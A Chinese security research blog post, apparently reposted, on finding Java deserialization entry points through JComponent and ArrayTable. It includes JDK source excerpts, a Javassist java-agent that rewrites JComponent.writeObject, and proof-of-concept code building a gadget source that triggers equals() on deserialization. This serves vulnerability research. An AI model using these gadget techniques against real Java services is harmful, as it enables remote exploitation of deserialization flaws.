基于动态Agent挖掘更多的反序列化入口

admin 2024年12月4日11:29:38评论3 views字数 5039阅读16分47秒阅读模式

前言

分享下最近Java GC检测工作的相关收获(其实也是为了证明某些链不是误报而绞尽脑汁,主要依靠Java的动态Agent技术修改writeObject流程

好用的ArrayTable

你是否还在为了想用HashMap触发equals方法而为hashCode所困?那么JComponent这个类就可以帮到你。

我们看一下这个类的readObject方法:

privatevoidreadObject(ObjectInputStream s)throws IOException, ClassNotFoundException{    s.defaultReadObject();/* If there's no ReadObjectCallback for this stream yet, that is, if         * this is the first call to JComponent.readObject() for this         * graph of objects, then create a callback and stash it         * in the readObjectCallbacks table.  Note that the ReadObjectCallback         * constructor takes care of calling s.registerValidation().         */ReadObjectCallbackcb= readObjectCallbacks.get(s);if (cb == null) {try {            readObjectCallbacks.put(s, cb = newReadObjectCallback(s));        }catch (Exception e) {thrownewIOException(e.toString());        }    }    cb.registerComponent(this);// Read back the client properties.    int cpCount = s.readInt();    if (cpCount > 0) {        clientProperties = new ArrayTable();        for (int counter = 0; counter < cpCount; counter++) {            clientProperties.put(s.readObject(),                                 s.readObject());        }    }    if (getToolTipText() != null) {        ToolTipManager.sharedInstance().registerComponent(this);    }    setWriteObjCounter(this, (byte)0);}

其也是循环的读取键值对,然后调用放入到ArrayTable中,我们看看ArrayTable的put方法:

publicvoidput(Object key, Object value){if (table==null) {        table = newObject[] {key, value};    } else {        int size = size();if (size < ARRAY_BOUNDARY) {              // We are an array            if (containsKey(key)) {                Object[] tmp = (Object[])table;                for (int i = 0; i<tmp.length-1; i+=2) {                    if (tmp[i].equals(key)) {                        tmp[i+1]=value;                        break;                    }                }            } else {                Object[] array = (Object[])table;                int i = array.length;                Object[] tmp = new Object[i+2];                System.arraycopy(array, 0, tmp, 0, i);                tmp[i] = key;                tmp[i+1] = value;                table = tmp;            }        } else {                 // We are a hashtable            if ((size==ARRAY_BOUNDARY) && isArray()) {                grow();            }            ((Hashtable<Object,Object>)table).put(key, value);        }    }}

如果containsKey的话则会触发equals比较,那我们先看看containsKey怎么做的:

publicbooleancontainsKey(Object key) {boolean contains = false;if (table !=null) {if (isArray()) {Object[] array = (Object[])table;for (int i = 0; i<array.length-1; i+=2) {if (array[i].equals(key)) {                    contains = true;break;                }            }        } else {            contains = ((Hashtable)table).containsKey(key);        }    }return contains;}

emm,直接就是key的比较,OK,大功告成(不是

其实如果你这么构造一下POC的话,你就会发现在writeObject提前触发了equals方法,所以导致最后无法利用

privatevoidwriteObject(ObjectOutputStream s) throws IOException {    s.defaultWriteObject();if (getUIClassID().equals(uiClassID)) {byte count = JComponent.getWriteObjCounter(this);        JComponent.setWriteObjCounter(this, --count);if (count == 0 && ui != null) {            ui.installUI(this);        }    }    ArrayTable.writeArrayTable(s, clientProperties);}

主要在writeArrayTable方法中:

staticvoidwriteArrayTable(ObjectOutputStream s, ArrayTable table)throws IOException {    Object keys[];if (table == null || (keys = table.getKeys(null)) == null) {        s.writeInt(0);    }else {intvalidCount=0;for (intcounter=0; counter < keys.length; counter++) {Objectkey= keys[counter];/* include in Serialization when both keys and values are Serializable */if (    (key instanceof Serializable                     && table.get(key) instanceof Serializable)                ||/* include these only so that we get the appropriate exception below */                (key instanceof ClientPropertyKey                 && ((ClientPropertyKey)key).getReportValueNotSerializable())) {                validCount++;            } else {                keys[counter] = null;            }        }// Write ou the Serializable key/value pairs.        s.writeInt(validCount);        if (validCount > 0) {            for (Object key : keys) {                if (key != null) {                    s.writeObject(key);                    s.writeObject(table.get(key));                    if (--validCount == 0) {                        break;                    }                }            }        }    }}

可以看到是按pair写入的,主要问题在于table.get方法:

publicObjectget(Object key) {Object value = null;if (table !=null) {if (isArray()) {Object[] array = (Object[])table;for (int i = 0; i<array.length-1; i+=2) {if (array[i].equals(key)) {                    value = array[i+1];break;                }            }        } else {            value = ((Hashtable)table).get(key);        }    }return value;}

这里触发了key的equals方法,所以有什么办法吗,我们看这个ArrayTable类的table属性其实可以为Object数组,那我们直接模仿逻辑挨个写入也可以把,因此我就用到了Java动态Agent技术修改其writeObject流程,具体代码如下:

publicbyte[] transform(final ClassLoader loader, final String className, final Class<?> classBeingRedefined, final ProtectionDomain protectionDomain, finalbyte[] classfileBuffer) {if (className.equals("javax/swing/JComponent")) {try {ClassPoolclassPool= ClassPool.getDefault();CtClassjClazz= classPool.get("javax.swing.JComponent");CtMethodw= jClazz.getMethod("writeObject", "(Ljava/io/ObjectOutputStream;)V");StringmethodBody="{" +"$1.defaultWriteObject();" +"$1.writeInt(2);" +"try {" +"Class clz = $0.clientProperties.getClass();" +"java.lang.reflect.Field field = clz.getDeclaredField("table");" +"field.setAccessible(true);" +"Object[] table = (Object[]) field.get($0.clientProperties);" +"for (int i = 0; i < 4; i++) {" +"$1.writeObject(table[i]);" +"}" +"}" +"catch (Exception ex) {}" +"}";            w.setBody(methodBody);byte[] byteCode = jClazz.toBytecode();            jClazz.detach();return byteCode;        } catch (Exception ex) {            ex.printStackTrace();        }    }returnnull;}

因此最后的Source Gadget就可以这么写(加上javaagent

JPanel j = newJPanel();Class atClass = Class.forName("javax.swing.ArrayTable");Object arrayTable = ReflectionUtil.createWithoutConstructor(atClass);Object[] table = newObject[]{o1, "1", o2, "2"};ReflectionUtil.setField(arrayTable, "table", table);ReflectionUtil.setField(j, "clientProperties", arrayTable);SerializeUtil.deserialize(SerializeUtil.serialize(j));

类似的还有比如AbstractAction,actionMap等,其都是用到了ArrayTable类,这里就不具体分析了,当然还有一些能触发动态代理的入口,不过一般也没什么用,这里也就不写了,期待大家也可以发现更多。

【来源】:https://xz.aliyun.com/t/15807?time__1311=GqjxnDgDyD27GQD%2FD0eO30QByw%3D7NTsF4D

原文始发于微信公众号(船山信安):基于动态Agent挖掘更多的反序列化入口

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月4日11:29:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基于动态Agent挖掘更多的反序列化入口https://cn-sec.com/archives/3465293.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息